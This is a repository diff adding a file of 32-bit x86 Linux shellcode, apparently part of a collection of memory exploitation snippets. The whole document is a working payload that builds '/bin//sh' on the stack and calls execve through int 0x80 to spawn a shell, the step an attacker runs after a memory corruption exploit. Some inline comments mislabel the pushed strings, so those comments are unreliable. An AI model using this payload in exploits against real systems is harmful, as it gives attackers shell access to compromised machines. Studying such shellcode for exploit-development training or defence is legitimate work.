some memory exploitation snippets

Memory_Exploits/Assembly/get_shell.asm

@@ -0,0 +1,19 @@
+;Universal Shellcode for Unix/Linux 
+section .text           ; Text section
+        global _start   ; Define _start function
+
+_start:                 ; _start function
+xor eax, eax            ; Zero out eax REGister
+xor ebx, ebx            ; Zero out ebx REGister
+xor ecx, ecx            ; Zero out ecx REGister
+cdq                     ; Zero out edx using the sign bit from eax
+push ecx                ; Insert 4 byte null in stack
+push 0x68732f6e         ; Insert /bin in the stack
+push 0x69622f2f         ; Insert //sh in the stack
+mov  ebx, esp           ; Put /bin//sh in stack
+push ecx                ; Put 4 Byte in stack
+push ebx                ; Put ebx in stack
+mov  ecx, esp           ; Insert ebx address in ecx
+xor  eax, eax           ; Zero out eax register
+mov  al, 11             ; Insert __NR_execve 11 syscall
+int  0x80               ; Syscall execute